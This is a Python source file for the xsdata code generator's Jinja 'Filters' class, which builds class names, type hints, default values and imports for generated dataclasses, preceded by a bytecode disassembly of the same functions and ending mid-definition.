LOAD_GLOBAL converter LOAD_ATTR deserialize LOAD_FAST val LOAD_DEREF types LOAD_DEREF ns_map LOAD_DEREF fmt LOAD_CONST ('ns_map', 'format') CALL_FUNCTION YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST attr LOAD_ATTR is_prohibited POP_JUMP_IF_FALSE LOAD_CONST 'Any' RETURN_VALUE LOAD_FAST self LOAD_ATTR _field_type_names LOAD_FAST attr LOAD_FAST parents LOAD_CONST False LOAD_CONST ('choice',) CALL_FUNCTION STORE_FAST result LOAD_FAST self LOAD_METHOD _get_iterable_format CALL_METHOD STORE_FAST iterable_fmt LOAD_FAST attr LOAD_ATTR is_tokens POP_JUMP_IF_FALSE LOAD_FAST iterable_fmt LOAD_METHOD format LOAD_FAST result CALL_METHOD STORE_FAST result LOAD_FAST attr LOAD_ATTR is_list POP_JUMP_IF_FALSE LOAD_FAST iterable_fmt LOAD_METHOD format LOAD_FAST result CALL_METHOD RETURN_VALUE LOAD_FAST attr LOAD_ATTR is_tokens POP_JUMP_IF_FALSE LOAD_FAST result RETURN_VALUE LOAD_FAST attr LOAD_ATTR is_dict POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR subscriptable_types POP_JUMP_IF_FALSE LOAD_CONST 'dict[str, str]' RETURN_VALUE LOAD_CONST 'Dict[str, str]' RETURN_VALUE LOAD_FAST attr LOAD_ATTR is_nillable POP_JUMP_IF_TRUE LOAD_FAST attr LOAD_ATTR default LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST attr LOAD_ATTR is_optional POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR format LOAD_ATTR kw_only POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR union_type POP_JUMP_IF_FALSE LOAD_CONST 'None | ' LOAD_FAST result FORMAT_VALUE BUILD_STRING RETURN_VALUE LOAD_CONST 'Optional[' LOAD_FAST result FORMAT_VALUE LOAD_CONST ']' BUILD_STRING RETURN_VALUE LOAD_FAST result RETURN_VALUE LOAD_FAST self LOAD_ATTR _field_type_names LOAD_FAST choice LOAD_FAST parents LOAD_CONST True LOAD_CONST ('choice',) CALL_FUNCTION STORE_FAST result LOAD_FAST choice LOAD_ATTR is_tokens POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _get_iterable_format CALL_METHOD STORE_FAST iterable_fmt LOAD_FAST iterable_fmt LOAD_METHOD format LOAD_FAST result CALL_METHOD STORE_FAST result LOAD_FAST self LOAD_ATTR subscriptable_types POP_JUMP_IF_FALSE LOAD_CONST 'type[' LOAD_FAST result FORMAT_VALUE LOAD_CONST ']' BUILD_STRING RETURN_VALUE LOAD_CONST 'Type[' LOAD_FAST result FORMAT_VALUE LOAD_CONST ']' BUILD_STRING RETURN_VALUE LOAD_CLOSURE choice LOAD_CLOSURE parents LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fab801389c0, file "f.py", line 794> LOAD_CONST 'Filters._field_type_names.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST attr LOAD_ATTR types GET_ITER CALL_FUNCTION STORE_FAST type_names LOAD_DEREF self LOAD_METHOD _join_type_names LOAD_FAST type_names CALL_METHOD RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 26 STORE_FAST x LOAD_DEREF self LOAD_ATTR _field_type_name LOAD_FAST x LOAD_DEREF parents LOAD_DEREF choice LOAD_CONST ('choice',) CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL collections LOAD_METHOD unique_sequence LOAD_FAST type_names CALL_METHOD STORE_FAST type_names LOAD_GLOBAL len LOAD_FAST type_names CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST type_names LOAD_CONST 0 BINARY_SUBSCR RETURN_VALUE LOAD_FAST self LOAD_ATTR union_type POP_JUMP_IF_FALSE LOAD_CONST ' | ' LOAD_METHOD join LOAD_FAST type_names CALL_METHOD RETURN_VALUE LOAD_CONST 'Union[' LOAD_CONST ', ' LOAD_METHOD join LOAD_FAST type_names CALL_METHOD FORMAT_VALUE LOAD_CONST ']' BUILD_STRING RETURN_VALUE LOAD_FAST self LOAD_METHOD type_name LOAD_FAST attr_type CALL_METHOD STORE_FAST name LOAD_FAST attr_type LOAD_ATTR forward POP_JUMP_IF_FALSE LOAD_FAST attr_type LOAD_ATTR circular POP_JUMP_IF_FALSE LOAD_CONST '.' LOAD_METHOD join LOAD_GLOBAL map LOAD_FAST self LOAD_ATTR class_name LOAD_FAST parents CALL_FUNCTION CALL_METHOD STORE_FAST outer_str LOAD_CONST '"' LOAD_FAST outer_str FORMAT_VALUE LOAD_CONST '"' BUILD_STRING STORE_FAST name JUMP_FORWARD to 116 LOAD_FAST attr_type LOAD_ATTR forward POP_JUMP_IF_FALSE LOAD_CONST '.' LOAD_METHOD join LOAD_GLOBAL map LOAD_FAST self LOAD_ATTR class_name LOAD_FAST parents CALL_FUNCTION CALL_METHOD STORE_FAST outer_str LOAD_CONST '"' LOAD_FAST outer_str FORMAT_VALUE LOAD_CONST '.' LOAD_FAST name FORMAT_VALUE LOAD_CONST '"' BUILD_STRING STORE_FAST name JUMP_FORWARD to 116 LOAD_FAST attr_type LOAD_ATTR circular POP_JUMP_IF_FALSE LOAD_CONST '"' LOAD_FAST name FORMAT_VALUE LOAD_CONST '"' BUILD_STRING STORE_FAST name LOAD_FAST self LOAD_ATTR postponed_annotations POP_JUMP_IF_FALSE LOAD_FAST choice POP_JUMP_IF_TRUE LOAD_FAST name LOAD_METHOD strip LOAD_CONST '"' CALL_METHOD STORE_FAST name LOAD_FAST name RETURN_VALUE LOAD_FAST attr LOAD_ATTR types LOAD_CONST 0 BINARY_SUBSCR STORE_FAST attr_type LOAD_FAST attr_type LOAD_ATTR native POP_JUMP_IF_FALSE LOAD_CONST '"' LOAD_FAST attr LOAD_ATTR default FORMAT_VALUE LOAD_CONST '"' BUILD_STRING RETURN_VALUE LOAD_FAST attr_type LOAD_ATTR alias POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD class_name LOAD_FAST attr_type LOAD_ATTR alias CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_METHOD type_name LOAD_FAST attr_type CALL_METHOD RETURN_VALUE LOAD_GLOBAL set CALL_FUNCTION STORE_FAST module_imports LOAD_GLOBAL set CALL_FUNCTION STORE_FAST func_imports SETUP_LOOP to 132 LOAD_FAST self LOAD_ATTR import_patterns LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 130 UNPACK_SEQUENCE STORE_FAST library STORE_FAST types LOAD_CLOSURE output BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fab80138c00, file "f.py", line 844> LOAD_CONST 'Filters.default_imports.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST types LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST names LOAD_GLOBAL len LOAD_FAST names CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST names LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST '__module__' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST module_imports LOAD_METHOD add LOAD_CONST 'import ' LOAD_FAST library FORMAT_VALUE BUILD_STRING CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_FAST names POP_JUMP_IF_FALSE LOAD_FAST func_imports LOAD_METHOD add LOAD_CONST 'from ' LOAD_FAST library FORMAT_VALUE LOAD_CONST ' import ' LOAD_CONST ', ' LOAD_METHOD join LOAD_FAST names CALL_METHOD FORMAT_VALUE BUILD_STRING CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL sorted LOAD_FAST module_imports CALL_FUNCTION LOAD_GLOBAL sorted LOAD_FAST func_imports CALL_FUNCTION BINARY_ADD STORE_FAST imports LOAD_FAST self LOAD_ATTR postponed_annotations POP_JUMP_IF_FALSE LOAD_FAST imports LOAD_METHOD insert LOAD_CONST 0 LOAD_CONST 'from __future__ import annotations' CALL_METHOD POP_TOP LOAD_CONST '\n' LOAD_METHOD join LOAD_FAST imports CALL_METHOD RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 40 UNPACK_SEQUENCE STORE_FAST name STORE_FAST searches LOAD_GLOBAL any LOAD_CLOSURE output BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7fab80138300, file "f.py", line 846> LOAD_CONST 'Filters.default_imports.<locals>.<listcomp>.<genexpr>' MAKE_FUNCTION LOAD_FAST searches GET_ITER CALL_FUNCTION CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST name LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST .0 FOR_ITER to 18 STORE_FAST search LOAD_FAST search LOAD_DEREF output COMPARE_OP in YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR format LOAD_ATTR frozen POP_JUMP_IF_FALSE LOAD_CONST 'Tuple[{}, ...]' JUMP_FORWARD to 14 LOAD_CONST 'List[{}]' STORE_FAST fmt LOAD_FAST self LOAD_ATTR subscriptable_types POP_JUMP_IF_FALSE LOAD_FAST fmt LOAD_METHOD lower CALL_METHOD RETURN_VALUE LOAD_FAST fmt RETURN_VALUE LOAD_FAST cls LOAD_ATTR build_type_patterns STORE_FAST type_patterns LOAD_CONST '@dataclass' BUILD_LIST LOAD_CONST ' = field(' BUILD_LIST LOAD_CONST ('dataclass', 'field') BUILD_CONST_KEY_MAP LOAD_CONST 'Decimal' LOAD_FAST type_patterns LOAD_CONST 'Decimal' CALL_FUNCTION BUILD_MAP LOAD_CONST 'Enum' LOAD_CONST '(Enum)' BUILD_LIST BUILD_MAP LOAD_CONST ': Dict' BUILD_LIST LOAD_CONST ': List[' BUILD_LIST LOAD_CONST 'Optional[' BUILD_LIST LOAD_CONST 'Tuple[' BUILD_LIST LOAD_CONST 'Type[' BUILD_LIST LOAD_CONST 'Union[' BUILD_LIST LOAD_FAST type_patterns LOAD_CONST 'Any' CALL_FUNCTION LOAD_CONST ('Dict', 'List', 'Optional', 'Tuple', 'Type', 'Union', 'Any') BUILD_CONST_KEY_MAP LOAD_CONST 'QName' LOAD_FAST type_patterns LOAD_CONST 'QName' CALL_FUNCTION BUILD_MAP LOAD_FAST type_patterns LOAD_CONST 'XmlDate' CALL_FUNCTION LOAD_FAST type_patterns LOAD_CONST 'XmlDateTime' CALL_FUNCTION LOAD_FAST type_patterns LOAD_CONST 'XmlDuration' CALL_FUNCTION LOAD_FAST type_patterns LOAD_CONST 'XmlPeriod' CALL_FUNCTION LOAD_FAST type_patterns LOAD_CONST 'XmlTime' CALL_FUNCTION LOAD_CONST ('XmlDate', 'XmlDateTime', 'XmlDuration', 'XmlPeriod', 'XmlTime') BUILD_CONST_KEY_MAP LOAD_CONST ('dataclasses', 'decimal', 'enum', 'typing', 'xml.etree.ElementTree', 'xsdata.models.datatype') BUILD_CONST_KEY_MAP RETURN_VALUE LOAD_CONST ': ' LOAD_FAST x FORMAT_VALUE LOAD_CONST ' =' BUILD_STRING LOAD_CONST '[' LOAD_FAST x FORMAT_VALUE LOAD_CONST ']' BUILD_STRING LOAD_CONST '[' LOAD_FAST x FORMAT_VALUE LOAD_CONST ',' BUILD_STRING LOAD_CONST ' ' LOAD_FAST x FORMAT_VALUE LOAD_CONST ',' BUILD_STRING LOAD_CONST ' ' LOAD_FAST x FORMAT_VALUE LOAD_CONST ']' BUILD_STRING LOAD_CONST ' ' LOAD_FAST x FORMAT_VALUE LOAD_CONST '(' BUILD_STRING LOAD_CONST ' | ' LOAD_FAST x FORMAT_VALUE BUILD_STRING LOAD_FAST x FORMAT_VALUE LOAD_CONST ' |' BUILD_STRING BUILD_TUPLE RETURN_VALUE
import re import sys import textwrap from collections import defaultdict from typing import ( Any, Callable, Dict, Iterable, Iterator, List, Optional, Set, Tuple, Type, ) from docformatter import configuration, format from jinja2 import Environment from xsdata.codegen.models import Attr, AttrType, Class from xsdata.formats.converter import converter from xsdata.formats.dataclass.models.elements import XmlType from xsdata.models.config import ( DocstringStyle, ExtensionType, GeneratorConfig, GeneratorExtension, ObjectType, OutputFormat, ) from xsdata.utils import collections, namespaces, text from xsdata.utils.objects import literal_value class Filters: """Jinja filters for code generation.""" DEFAULT_KEY = "default" FACTORY_KEY = "default_factory" UNESCAPED_DBL_QUOTE_REGEX = re.compile(r"([^\\])\"") __slots__ = ( "substitutions", "extensions", "class_case", "field_case", "constant_case", "package_case", "module_case", "class_safe_prefix", "field_safe_prefix", "constant_safe_prefix", "package_safe_prefix", "module_safe_prefix", "docstring_style", "max_line_length", "union_type", "subscriptable_types", "relative_imports", "postponed_annotations", "format", "import_patterns", "default_class_annotation", ) def __init__(self, config: GeneratorConfig): self.substitutions: Dict[ObjectType, Dict[str, str]] = defaultdict(dict) for sub in config.substitutions.substitution: self.substitutions[sub.type][sub.search] = sub.replace self.import_patterns: Dict[str, Dict[str, Set[str]]] = defaultdict( lambda: defaultdict(set) ) self.extensions: Dict[ExtensionType, List[GeneratorExtension]] = defaultdict( list ) for ext in config.extensions.extension: self.extensions[ext.type].append(ext) is_annotation = ext.type is ExtensionType.DECORATOR patterns = self.import_patterns[ext.module_path][ext.func_name] if is_annotation: patterns.add(f"@{ext.func_name}") else: patterns.update( [ f"({ext.func_name}", f" {ext.func_name})", ] ) self.class_case: Callable = config.conventions.class_name.case self.field_case: Callable = config.conventions.field_name.case self.constant_case: Callable = config.conventions.constant_name.case self.package_case: Callable = config.conventions.package_name.case self.module_case: Callable = config.conventions.module_name.case self.class_safe_prefix: str = config.conventions.class_name.safe_prefix self.field_safe_prefix: str = config.conventions.field_name.safe_prefix self.constant_safe_prefix: str = config.conventions.constant_name.safe_prefix self.package_safe_prefix: str = config.conventions.package_name.safe_prefix self.module_safe_prefix: str = config.conventions.module_name.safe_prefix self.docstring_style: DocstringStyle = config.output.docstring_style self.max_line_length: int = config.output.max_line_length self.union_type: bool = config.output.union_type self.subscriptable_types: bool = config.output.subscriptable_types self.relative_imports: bool = config.output.relative_imports self.postponed_annotations: bool = config.output.postponed_annotations self.format = config.output.format for module, imports in self.build_import_patterns().items(): for imp, patterns in imports.items(): self.import_patterns[module][imp].update(patterns) self.default_class_annotation = self.build_class_annotation(self.format) def register(self, env: Environment): """Register the template filters to the jinja environment.""" env.globals.update( { "docstring_name": self.docstring_style.name.lower(), } ) env.filters.update( { "field_name": self.field_name, "field_type": self.field_type, "field_default": self.field_default_value, "field_metadata": self.field_metadata, "field_definition": self.field_definition, "class_name": self.class_name, "class_bases": self.class_bases, "class_annotations": self.class_annotations, "class_params": self.class_params, "format_string": self.format_string, "format_docstring": self.format_docstring, "constant_name": self.constant_name, "constant_value": self.constant_value, "default_imports": self.default_imports, "format_metadata": self.format_metadata, "type_name": self.type_name, "text_wrap": self.text_wrap, "clean_docstring": self.clean_docstring, "import_module": self.import_module, "import_class": self.import_class, "post_meta_hook": self.post_meta_hook, } ) @classmethod def build_class_annotation(cls, fmt: OutputFormat) -> str: """Build the class annotations.""" args = [] if not fmt.repr: args.append("repr=False") if not fmt.eq: args.append("eq=False") if fmt.order: args.append("order=True") if fmt.unsafe_hash: args.append("unsafe_hash=True") if fmt.frozen: args.append("frozen=True") if fmt.slots: args.append("slots=True") if fmt.kw_only: args.append("kw_only=True") return f"@dataclass({', '.join(args)})" if args else "@dataclass" def class_params(self, obj: Class) -> Iterator[Tuple[str, str]]: """Yield the class variables with their docstring text.""" is_enum = obj.is_enumeration for attr in obj.attrs: name = attr.name docstring = self.clean_docstring(attr.help) if is_enum: yield self.constant_name(name, obj.name), docstring else: yield self.field_name(name, obj.name), docstring def class_name(self, name: str) -> str: """Class name filter. Steps: - Apply substitutions before naming conventions - Apply naming convention - Apply substitutions after naming conventions Args: name: The original class name Returns: The final class name """ name = self.apply_substitutions(name, ObjectType.CLASS) name = self.safe_name(name, self.class_safe_prefix, self.class_case) return self.apply_substitutions(name, ObjectType.CLASS) def class_bases(self, obj: Class, class_name: str) -> List[str]: """Return a list of base class names.""" bases = [] for obj_ext in obj.extensions: bases.append(self.type_name(obj_ext.type)) derived = len(obj.extensions) > 0 for ext in self.extensions[ExtensionType.CLASS]: is_valid = not derived or ext.apply_if_derived if is_valid and ext.pattern.match(class_name): if ext.prepend: bases.insert(0, ext.func_name) else: bases.append(ext.func_name) return collections.unique_sequence(bases) def class_annotations(self, obj: Class, class_name: str) -> List[str]: """Return a list of decorator names.""" annotations = [] if self.default_class_annotation: annotations.append(self.default_class_annotation) derived = len(obj.extensions) > 0 for ext in self.extensions[ExtensionType.DECORATOR]: is_valid = not derived or ext.apply_if_derived if is_valid and ext.pattern.match(class_name): if ext.prepend: annotations.insert(0, f"@{ext.func_name}") else: annotations.append(f"@{ext.func_name}") return collections.unique_sequence(annotations) def apply_substitutions(self, name: str, obj_type: ObjectType) -> str: """Apply name substitutions by obj type.""" for search, replace in self.substitutions[obj_type].items(): name = re.sub(rf"{search}", rf"{replace}", name) return name def field_definition( self, attr: Attr, ns_map: Dict, parent_namespace: Optional[str], parents: List[str], ) -> str: """Return the field definition with any extra metadata.""" default_value = self.field_default_value(attr, ns_map) metadata = self.field_metadata(attr, parent_namespace, parents) kwargs: Dict[str, Any] = {} if attr.fixed or attr.is_prohibited: kwargs["init"] = False if default_value is not False and not attr.is_prohibited: key = self.FACTORY_KEY if attr.is_factory else self.DEFAULT_KEY kwargs[key] = default_value if metadata: kwargs["metadata"] = metadata return f"field({self.format_arguments(kwargs, 4)})" def field_name(self, name: str, class_name: str) -> str: """Field name filter. Steps: - Apply substitutions before naming conventions - Apply naming convention - Apply substitutions after naming conventions Args: name: The original field name class_name: The class name, some naming conventions require it Returns: The final field name """ prefix = self.field_safe_prefix name = self.apply_substitutions(name, ObjectType.FIELD) name = self.safe_name(name, prefix, self.field_case, class_name=class_name) return self.apply_substitutions(name, ObjectType.FIELD) def constant_name(self, name: str, class_name: str) -> str: """Constant name filter. Steps: - Apply substitutions before naming conventions - Apply naming convention - Apply substitutions after naming conventions Args: name: The original constant name class_name: The class name, some naming conventions require it Returns: The final constant name """ prefix = self.field_safe_prefix name = self.apply_substitutions(name, ObjectType.FIELD) name = self.safe_name(name, prefix, self.constant_case, class_name=class_name) return self.apply_substitutions(name, ObjectType.FIELD) def module_name(self, name: str) -> str: """Module name filter. Steps: - Apply substitutions before naming conventions - Apply naming convention - Apply substitutions after naming conventions Args: name: The original module name Returns: The final module name """ prefix = self.module_safe_prefix name = self.apply_substitutions(name, ObjectType.MODULE) name = self.safe_name(namespaces.clean_uri(name), prefix, self.module_case) return self.apply_substitutions(name, ObjectType.MODULE) def package_name(self, name: str) -> str: """Package name filter. Steps: - Apply substitutions before naming conventions - Apply naming convention - Apply substitutions after naming conventions Args: name: The original package name Returns: The final package name """ name = self.apply_substitutions(name, ObjectType.PACKAGE) if not name: return name def process_sub_package(pck: str) -> str: pck = self.safe_name(pck, self.package_safe_prefix, self.package_case) return self.apply_substitutions(pck, ObjectType.PACKAGE) parts = map(process_sub_package, name.split(".")) name = ".".join(parts) return self.apply_substitutions(name, ObjectType.PACKAGE) def type_name(self, attr_type: AttrType) -> str: """Field type filter. Args: attr_type: The attr type instance. Returns: The python type name or the user type final name """ datatype = attr_type.datatype if datatype: return datatype.type.__name__ return self.class_name(attr_type.alias or attr_type.name) def safe_name( self, name: str, prefix: str, name_case: Callable, **kwargs: Any, ) -> str: """Sanitize names for safe generation.""" if not name: return self.safe_name(prefix, prefix, name_case, **kwargs) if re.match(r"^-\d*\.?\d+$", name): return self.safe_name(f"{prefix}_minus_{name}", prefix, name_case, **kwargs) slug = text.alnum(name) if not slug or not slug[0].isalpha(): return self.safe_name(f"{prefix}_{name}", prefix, name_case, **kwargs) result = name_case(name, **kwargs) if text.is_reserved(result): return self.safe_name(f"{name}_{prefix}", prefix, name_case, **kwargs) return result def import_module(self, module: str, from_module: str) -> str: """Convert import module to relative path if config is enabled.""" if self.relative_imports: mp = module.split(".") fp = from_module.split(".") index = 0 while len(mp) > index and len(fp) > index and mp[index] == fp[index]: index += 1 if index > 0: return f"{'.' * max(1, len(fp) - index)}{'.'.join(mp[index:])}" return module def import_class(self, name: str, alias: Optional[str]) -> str: """Convert import class name with alias support.""" if alias: return f"{self.class_name(name)} as {self.class_name(alias)}" return self.class_name(name) def post_meta_hook(self, obj: Class) -> Optional[str]: """Plugin hook to render additional information after the xsdata meta class.""" return None def field_metadata( self, attr: Attr, parent_namespace: Optional[str], parents: List[str], ) -> Dict: """Return a metadata dictionary for the given attribute.""" if attr.is_prohibited: return {"type": XmlType.IGNORE} name = namespace = None if not attr.is_nameless and attr.local_name != self.field_name( attr.name, parents[-1] ): name = attr.local_name if parent_namespace != attr.namespace or attr.is_attribute: namespace = attr.namespace restrictions = attr.restrictions.asdict(attr.native_types) metadata = { "name": name, "type": attr.xml_type, "namespace": namespace, "mixed": attr.mixed, "choices": self.field_choices(attr, parent_namespace, parents), **restrictions, } if self.docstring_style == DocstringStyle.ACCESSIBLE and attr.help: metadata["doc"] = self.clean_docstring(attr.help, False) return self.filter_metadata(metadata) def field_choices( self, attr: Attr, parent_namespace: Optional[str], parents: List[str] ) -> Optional[Tuple]: """Return a tuple of field metadata if the attr has choices.""" if not attr.choices: return None result = [] for choice in attr.choices: types = choice.native_types restrictions = choice.restrictions.asdict(types) namespace = ( choice.namespace if parent_namespace != choice.namespace else None ) metadata = { "name": choice.name, "wildcard": choice.is_wildcard, "type": self.choice_type(choice, parents), "namespace": namespace, } if choice.is_nameless: del metadata["name"] default_key = self.FACTORY_KEY if choice.is_factory else self.DEFAULT_KEY metadata[default_key] = self.field_default_value(choice) metadata.update(restrictions) if self.docstring_style == DocstringStyle.ACCESSIBLE and choice.help: metadata["doc"] = self.clean_docstring(choice.help, False) result.append(self.filter_metadata(metadata)) return tuple(result) @classmethod def filter_metadata(cls, data: Dict) -> Dict: """Filter out false,none keys from the given dict.""" return { key: value for key, value in data.items() if value is not None and value is not False } def format_arguments(self, data: Dict, indent: int = 0) -> str: """Return a pretty keyword arguments representation.""" ind = " " * indent fmt = " {}{}={}" lines = [ fmt.format(ind, key, self.format_metadata(value, indent + 4, key)) for key, value in data.items() ] return "\n{}\n{}".format(",\n".join(lines), ind) if lines else "" def format_metadata(self, data: Any, indent: int = 0, key: str = "") -> str: """Prettify field metadata for code generation.""" if isinstance(data, dict): return self.format_dict(data, indent) if collections.is_array(data): return self.format_iterable(data, indent) if isinstance(data, str): return self.format_string(data, indent, key, 4) return literal_value(data) def format_dict(self, data: Dict, indent: int) -> str: """Return a pretty string representation of a dict.""" ind = " " * indent fmt = ' {}"{}": {},' lines = [ fmt.format(ind, key, self.format_metadata(value, indent + 4, key)) for key, value in data.items() ] return "{{\n{}\n{}}}".format("\n".join(lines), ind) def format_iterable(self, data: Iterable, indent: int) -> str: """Return a pretty string representation of an iterable.""" ind = " " * indent fmt = " {}{}," lines = [ fmt.format(ind, self.format_metadata(value, indent + 4)) for value in data ] wrap = "(\n{}\n{})" if isinstance(data, tuple) else "[\n{}\n{}]" return wrap.format("\n".join(lines), ind) def format_string(self, data: str, indent: int, key: str = "", pad: int = 0) -> str: """Return a pretty string representation of a string. If the total length of the input string plus indent plus the key length and the additional pad is more than the max line length, wrap the text into multiple lines, avoiding breaking long words """ if (data.startswith("Type[") or data.startswith("type[")) and data.endswith( "]" ): return data if data[5] == '"' else data[5:-1] if data.startswith("Literal[") and data.endswith("]"): return data[8:-1] if key in (self.FACTORY_KEY, self.DEFAULT_KEY): return data if key == "pattern": value = re.sub(self.UNESCAPED_DBL_QUOTE_REGEX, r'\1\\"', data) return f'r"{value}"' if data == "": return '""' start = indent + 2 # plus quotes start += len(key) + pad if key else 0 value = text.escape_string(data) length = len(value) + start if length < self.max_line_length or " " not in value: return f'"{value}"' next_indent = indent + 4 value = "\n".join( f'{" " * next_indent}"{line}"' for line in textwrap.wrap( value, width=self.max_line_length - next_indent - 2, # plus quotes drop_whitespace=False, replace_whitespace=False, break_long_words=True, ) ) return f"(\n{value}\n{' ' * indent})" def text_wrap( self, string: str, offset: int = 0, subsequent_indent: str = " " ) -> str: """Wrap text in respect to the max line length and the given offset.""" return "\n".join( textwrap.wrap( string, width=self.max_line_length - offset, drop_whitespace=True, replace_whitespace=True, break_long_words=False, subsequent_indent=subsequent_indent, ) ) @classmethod def clean_docstring(cls, string: Optional[str], escape: bool = True) -> str: """Prepare string for docstring generation. - Strip whitespace from each line - Replace triple double quotes with single quotes - Escape backslashes Args: string: input value escape: skip backslashes escape, if string is going to pass through formatting. Returns: The cleaned docstring text. """ if not string: return "" def _clean(txt: str) -> str: if escape: txt = txt.replace("\\", "\\\\") return txt.replace('"""', "'''").strip() return "\n".join(_clean(line) for line in string.splitlines() if line.strip()) def format_docstring(self, doc_string: str, level: int) -> str: """Format doc strings.""" sep_pos = doc_string.rfind('"""') if sep_pos == -1: return "" content = doc_string[:sep_pos] params = doc_string[sep_pos + 3 :].strip() if content.strip() == '"""' and not params: return "" content += ' """' if content.endswith('"') else '"""' max_length = self.max_line_length - level * 4 configurator = configuration.Configurater( [ "--wrap-summaries", str(max_length - 3), "--wrap-descriptions", str(max_length - 7), "--make-summary-multi-line", ] ) configurator.do_parse_arguments() formatter = format.Formatter( configurator.args, sys.stderr, sys.stdin, sys.stdout, ) content = formatter._do_format_code(content) if params: content = content[:-3].strip() new_lines = "\n" if content.endswith('"""') else "\n\n" content += f'{new_lines}{params}\n"""' return content def field_default_value(self, attr: Attr, ns_map: Optional[Dict] = None) -> Any: """Generate the field default value/factory for the given attribute.""" if attr.is_list or (attr.is_tokens and not attr.default): return "tuple" if self.format.frozen else "list" if attr.is_dict: return "dict" if attr.default is None: return False if self.format.kw_only and not attr.is_optional else None if not isinstance(attr.default, str): return literal_value(attr.default) if attr.default.startswith("@enum@"): return self.field_default_enum(attr) types = converter.sort_types(attr.native_types) if attr.is_tokens: return self.field_default_tokens(attr, types, ns_map) return literal_value( converter.deserialize( attr.default, types, ns_map=ns_map, format=attr.restrictions.format ) ) def field_default_enum(self, attr: Attr) -> str: """Generate the default value for enum fields.""" assert attr.default is not None qname, reference = attr.default[6:].split("::", 1) qname = next(x.alias or qname for x in attr.types if x.qname == qname) name = namespaces.local_name(qname) class_name = self.class_name(name) if attr.is_tokens: members = [ f"Literal[{class_name}.{self.constant_name(member, name)}]" for member in reference.split("@") ] return f"lambda: {self.format_metadata(members, indent=8)}" return f"{class_name}.{self.constant_name(reference, name)}" def field_default_tokens( self, attr: Attr, types: List[Type], ns_map: Optional[Dict] ) -> str: """Generate the default value for tokens fields.""" assert isinstance(attr.default, str) fmt = attr.restrictions.format factory = tuple if self.format.frozen else list tokens = factory( converter.deserialize(val, types, ns_map=ns_map, format=fmt) for val in attr.default.split() ) if attr.is_enumeration: return self.format_metadata(tuple(tokens), indent=8) return f"lambda: {self.format_metadata(tokens, indent=8)}" def field_type(self, attr: Attr, parents: List[str]) -> str: """Generate type hints for the given attr.""" if attr.is_prohibited: return "Any" result = self._field_type_names(attr, parents, choice=False) iterable_fmt = self._get_iterable_format() if attr.is_tokens: result = iterable_fmt.format(result) if attr.is_list: return iterable_fmt.format(result) if attr.is_tokens: return result if attr.is_dict: return "dict[str, str]" if self.subscriptable_types else "Dict[str, str]" if attr.is_nillable or ( attr.default is None and (attr.is_optional or not self.format.kw_only) ): return f"None | {result}" if self.union_type else f"Optional[{result}]" return result def choice_type(self, choice: Attr, parents: List[str]) -> str: """Generate type hints for the given choice. Choices support a subset of features from normal attributes. First of all we don't have a proper type hint but a type metadata key. That's why we always need to wrap as Type[xxx]. The second big difference is that our choice belongs to a compound field that might be a list, that's why list restriction is also ignored. Args: choice: The choice instance parents: A list of the parent class names Returns: The string representation of the type hint. """ result = self._field_type_names(choice, parents, choice=True) if choice.is_tokens: iterable_fmt = self._get_iterable_format() result = iterable_fmt.format(result) if self.subscriptable_types: return f"type[{result}]" return f"Type[{result}]" def _field_type_names( self, attr: Attr, parents: List[str], choice: bool = False, ) -> str: type_names = [ self._field_type_name(x, parents, choice=choice) for x in attr.types ] return self._join_type_names(type_names) def _join_type_names(self, type_names: List[str]) -> str: type_names = collections.unique_sequence(type_names) if len(type_names) == 1: return type_names[0] if self.union_type: return " | ".join(type_names) return f'Union[{", ".join(type_names)}]' def _field_type_name( self, attr_type: AttrType, parents: List[str], choice: bool = False ) -> str: name = self.type_name(attr_type) if attr_type.forward and attr_type.circular: outer_str = ".".join(map(self.class_name, parents)) name = f'"{outer_str}"' elif attr_type.forward: outer_str = ".".join(map(self.class_name, parents)) name = f'"{outer_str}.{name}"' elif attr_type.circular: name = f'"{name}"' if self.postponed_annotations and not choice: name = name.strip('"') return name def constant_value(self, attr: Attr) -> str: """Return the attr default value or type as constant value.""" attr_type = attr.types[0] if attr_type.native: return f'"{attr.default}"' if attr_type.alias: return self.class_name(attr_type.alias) return self.type_name(attr_type) def default_imports(self, output: str) -> str: """Generate the default imports for the given package output.""" module_imports = set() func_imports = set() for library, types in self.import_patterns.items(): names = [ name for name, searches in types.items() if any(search in output for search in searches) ] if len(names) == 1 and names[0] == "__module__": module_imports.add(f"import {library}") elif names: func_imports.add(f"from {library} import {', '.join(names)}") imports = sorted(module_imports) + sorted(func_imports) if self.postponed_annotations: imports.insert(0, "from __future__ import annotations") return "\n".join(imports) def _get_iterable_format(self): fmt = "Tuple[{}, ...]" if self.format.frozen else "List[{}]" return fmt.lower() if self.subscriptable_types else fmt @classmethod def 